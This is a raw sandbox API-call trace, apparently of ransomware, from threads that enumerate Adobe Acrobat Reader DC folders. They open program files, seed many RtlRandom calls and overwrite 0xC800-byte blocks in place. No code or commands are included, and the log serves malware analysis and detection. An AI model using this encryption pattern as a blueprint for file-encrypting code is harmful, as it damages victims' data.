	[0093.927] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8258
	[0093.936] wcscmp (_String1=".", _String2=".") returned 0
	[0093.936] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.936] wcscmp (_String1="..", _String2=".") returned 1
	[0093.936] wcscmp (_String1="..", _String2="..") returned 0
	[0093.936] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1
	[0093.936] wcscmp (_String1="AdobeID.pdf", _String2=".") returned 1
	[0093.936] wcscmp (_String1="AdobeID.pdf", _String2="..") returned 1
	[0093.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61000
	[0093.936] wcscpy (in: _Dest=0x2d61000, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU"
	[0093.936] wcscat (in: _Dest=0x2d61000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\"
	[0093.936] wcscat (in: _Dest=0x2d61000, _Source="AdobeID.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf"

Thread:
	id = 1374
	os_tid = 0x2198

	[0093.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e30540
	[0093.927] wcscpy (in: _Dest=0x4e30540, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US"
	[0093.927] wcscat (in: _Dest=0x4e30540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\"
	[0093.927] wcscat (in: _Dest=0x4e30540, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*"
	[0093.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470ed80
	[0093.927] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*", lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8098
	[0093.928] wcscmp (_String1=".", _String2=".") returned 0
	[0093.928] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.928] wcscmp (_String1="..", _String2=".") returned 1
	[0093.928] wcscmp (_String1="..", _String2="..") returned 0
	[0093.928] FindNextFileW (in: hFindFile=0x46a8098, lpFindFileData=0x470ed80 | out: lpFindFileData=0x470ed80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 1
	[0093.928] wcscmp (_String1="stopwords.ENU", _String2=".") returned 1
	[0093.928] wcscmp (_String1="stopwords.ENU", _String2="..") returned 1
	[0093.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d60ea0
	[0093.928] wcscpy (in: _Dest=0x2d60ea0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US"
	[0093.928] wcscat (in: _Dest=0x2d60ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\"
	[0093.928] wcscat (in: _Dest=0x2d60ea0, _Source="stopwords.ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\stopwords.ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\stopwords.ENU"

Thread:
	id = 1375
	os_tid = 0x219c

	[0093.928] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin")) returned 0x20
	[0093.929] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin", dwFileAttributes=0x20) returned 1
	[0093.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf98
	[0093.929] GetFileSizeEx (in: hFile=0xf98, lpFileSize=0x2f0bf8a8 | out: lpFileSize=0x2f0bf8a8*=3589362) returned 1
	[0093.929] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x36c4ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.929] ReadFile (in: hFile=0xf98, lpBuffer=0x2f0bf82c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f0bf828, lpOverlapped=0x0 | out: lpBuffer=0x2f0bf82c*, lpNumberOfBytesRead=0x2f0bf828*=0x4, lpOverlapped=0x0) returned 1
	[0093.962] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0093.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984b90
	[0093.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984898
	[0093.962] NtQuerySystemTime (in: CurrentTime=0x2f0bf808 | out: CurrentTime=0x2f0bf808*=132251868206988024) returned 0x0
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xef54131b
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x211c680d
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xd41ab44e
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x839e70d9
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x782ef333
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xe6cdf3d2
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xd845463a
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x180d1f2e
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x3f5ca5a1
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x66df37d6
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xe417d440
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x38090da4
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x926fd4a6
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x71f7f07
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x142ebf04
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x779a154e
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xba992af6
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xbcc56b0
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x8b685532
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x256f1a21
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xf2596741
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x73fa257b
	[0093.962] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xbb52f543
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x986e0b78
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x25b4212c
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x471b720
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x1bb3393e
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x65fa6ee7
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x7d0ba1f
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x71488695
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0x6c7b0a2d
	[0093.963] RtlRandom (in: Seed=0x2f0bf814 | out: Seed=0x2f0bf814) returned 0xdc6a0303
	[0093.972] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.972] ReadFile (in: hFile=0xf98, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x2f0bf7c0*=0xc800, lpOverlapped=0x0) returned 1
	[0093.990] SetFilePointerEx (in: hFile=0xf98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa48
	[0093.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754100
	[0093.990] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0093.990] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c08) returned 1
	[0093.991] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0093.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984938
	[0093.994] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0093.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c08) returned 1
	[0093.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754100) returned 1
	[0093.994] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa48) returned 1
	[0093.994] WriteFile (hFile=0xf98, lpBuffer=0x4698050, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f0bf7c0, lpOverlapped=0x0) 

Thread:
	id = 1376
	os_tid = 0x21a0

	[0093.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476eff8
	[0093.930] wcscpy (in: _Dest=0x476eff8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU"
	[0093.930] wcscat (in: _Dest=0x476eff8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\"
	[0093.930] wcscat (in: _Dest=0x476eff8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*"
	[0093.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470efe8
	[0093.930] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\*", lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8158
	[0093.931] wcscmp (_String1=".", _String2=".") returned 0
	[0093.931] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.931] wcscmp (_String1="..", _String2=".") returned 1
	[0093.931] wcscmp (_String1="..", _String2="..") returned 0
	[0093.931] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x470efe8 | out: lpFindFileData=0x470efe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1
	[0093.931] wcscmp (_String1="eula.ini", _String2=".") returned 1
	[0093.931] wcscmp (_String1="eula.ini", _String2="..") returned 1
	[0093.931] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894fa0
	[0093.931] wcscpy (in: _Dest=0x4894fa0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU"
	[0093.931] wcscat (in: _Dest=0x4894fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\"
	[0093.931] wcscat (in: _Dest=0x4894fa0, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\eula.ini"

Thread:
	id = 1377
	os_tid = 0x21a4

	[0093.931] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api")) returned 0x20
	[0094.010] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api", dwFileAttributes=0x20) returned 1
	[0094.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa4c
	[0094.013] GetFileSizeEx (in: hFile=0xa4c, lpFileSize=0x2f1bf80c | out: lpFileSize=0x2f1bf80c*=507491) returned 1
	[0094.013] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x7be5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.013] ReadFile (in: hFile=0xa4c, lpBuffer=0x2f1bf790, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f1bf78c, lpOverlapped=0x0 | out: lpBuffer=0x2f1bf790*, lpNumberOfBytesRead=0x2f1bf78c*=0x4, lpOverlapped=0x0) returned 1
	[0094.019] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0094.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c80
	[0094.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984898
	[0094.019] NtQuerySystemTime (in: CurrentTime=0x2f1bf76c | out: CurrentTime=0x2f1bf76c*=132251868207596242) returned 0x0
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x936ea051
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xc5152603
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xd1e79076
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xd2aaea82
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x6a854473
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xfd8fea75
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x5e90db07
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xbbf90638
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xdaf9138d
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x6d1e0073
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x66e28a4c
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x29f527e
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xc70ba29c
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x25a55631
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x2aa357e4
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x519579fe
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xd44cc930
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x81f1fcd7
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xef1440a1
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xc6865726
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x7f336a45
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xdc93ed28
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xa7e33930
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xd8203a6a
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x992bf451
	[0094.019] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xd4645273
	[0094.020] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xcc1e8918
	[0094.020] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0xb4e6c1f5
	[0094.020] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x72ce1809
	[0094.020] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x5b2527dd
	[0094.020] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x9ccdb591
	[0094.020] RtlRandom (in: Seed=0x2f1bf778 | out: Seed=0x2f1bf778) returned 0x279ed8a9
	[0094.028] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.028] ReadFile (in: hFile=0xa4c, lpBuffer=0x50fc0c0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f1bf724, lpOverlapped=0x0 | out: lpBuffer=0x50fc0c0*, lpNumberOfBytesRead=0x2f1bf724*=0xc800, lpOverlapped=0x0) returned 1
	[0094.030] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa90
	[0094.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0094.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0094.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c08) returned 1
	[0094.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50a4888
	[0094.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x49849d8
	[0094.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0094.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c08) returned 1
	[0094.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0094.035] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa90) returned 1
	[0094.035] WriteFile (hFile=0xa4c, lpBuffer=0x50a4888, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f1bf724, lpOverlapped=0x0) 

Thread:
	id = 1378
	os_tid = 0x21a8

	[0094.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895540
	[0094.014] wcscpy (in: _Dest=0x4895540, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm"
	[0094.014] wcscat (in: _Dest=0x4895540, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\"
	[0094.014] wcscat (in: _Dest=0x4895540, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*"
	[0094.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
